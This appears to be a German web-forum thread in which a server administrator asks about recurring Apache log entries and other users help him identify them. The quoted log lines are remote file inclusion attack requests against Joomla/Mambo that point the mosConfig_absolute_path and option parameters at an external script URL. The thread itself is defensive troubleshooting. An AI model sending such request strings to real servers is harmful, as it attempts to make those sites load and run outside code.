Zugriff von Apache 127.0.0.1 auf externe URL

[worel]

Hi!

Habe im Webserver Log immer und immer wieder folgende Zugriffe:

Code: Alles auswählen

127.0.0.1 - - [12/Jan/2008:11:50:11 +0100] "GET /?mosConfig_absolute_path=http://www.gumgangfarm.com/shop/data/id.txt%3f HTTP/1.1" 302 432 "-" "libwww-perl/5.805"
127.0.0.1 - - [12/Jan/2008:11:50:11 +0100] "GET /apache2-default/?mosConfig_absolute_path=http://www.gumgangfarm.com/shop/data/id.txt%3f HTTP/1.1" 200 44 "-" "libwww-perl/5.805"
127.0.0.1 - - [12/Jan/2008:19:29:21 +0100] "GET /?mosConfig_absolute_path=http://www.gumgangfarm.com/shop/data/id.txt%3f HTTP/1.1" 302 432 "-" "libwww-perl/5.805"
127.0.0.1 - - [12/Jan/2008:19:29:21 +0100] "GET /apache2-default/?mosConfig_absolute_path=http://www.gumgangfarm.com/shop/data/id.txt%3f HTTP/1.1" 200 44 "-" "libwww-perl/5.805"
127.0.0.1 - - [12/Jan/2008:19:49:29 +0100] "GET /?option=http://www.gumgangfarm.com/shop/data/id.txt%3f HTTP/1.1" 302 415 "-" "libwww-perl/5.805"
127.0.0.1 - - [12/Jan/2008:19:49:29 +0100] "GET /apache2-default/?option=http://www.gumgangfarm.com/shop/data/id.txt%3f HTTP/1.1" 200 44 "-" "libwww-perl/5.805"

Was zum Hänker kann das sein? Mir scheint es, als ob etwas von einer externen Ressource geladen werden soll!
System ist am aktuellsten Stand.

Bzw. wie findet man heraus welche Aktion diesen Zugriff auslöst?

lg

[Onkel Hotte]

Was liegt denn im Apache Default Verzeichnis?
Es sieht so aus, als wenn eine Art "Shell" geladen werden sollte.

[worel]

Hallo!

Also im Verzeichnis apache2-default finde ich nur einige png Dateien. Diese habe ich jetzt gelöscht bzw. woanders hinverfrachtet. Werde außerdem das Verzeichnis umbenennen.

"mosConfig_absolute_path" habe ich nirgends gefunden...

Mal sehen wie es weiter geht!

Andere Frage:
Wie schaffen es eigentlich ganz große Hoster, Mißbrauch der Server weitgehend zu unterbinden? Jede Homepage kann man ja nicht begutachten. Applikations Gateways etc.??

[worel]

So, bin einen Schritt weiter. Anscheinend ist die "mosConfig_absolute_path" Geschichte eine Lücke in Joomla bzw. Mambo.
Nachdem es doch zig Kunden auf dem Server gibt, wäre es natürlich interessant, über welchen web Kunden das passiert.
Hat dazu irgendjemand eine Idee? Kann nicht jede cms version manuell prüfen...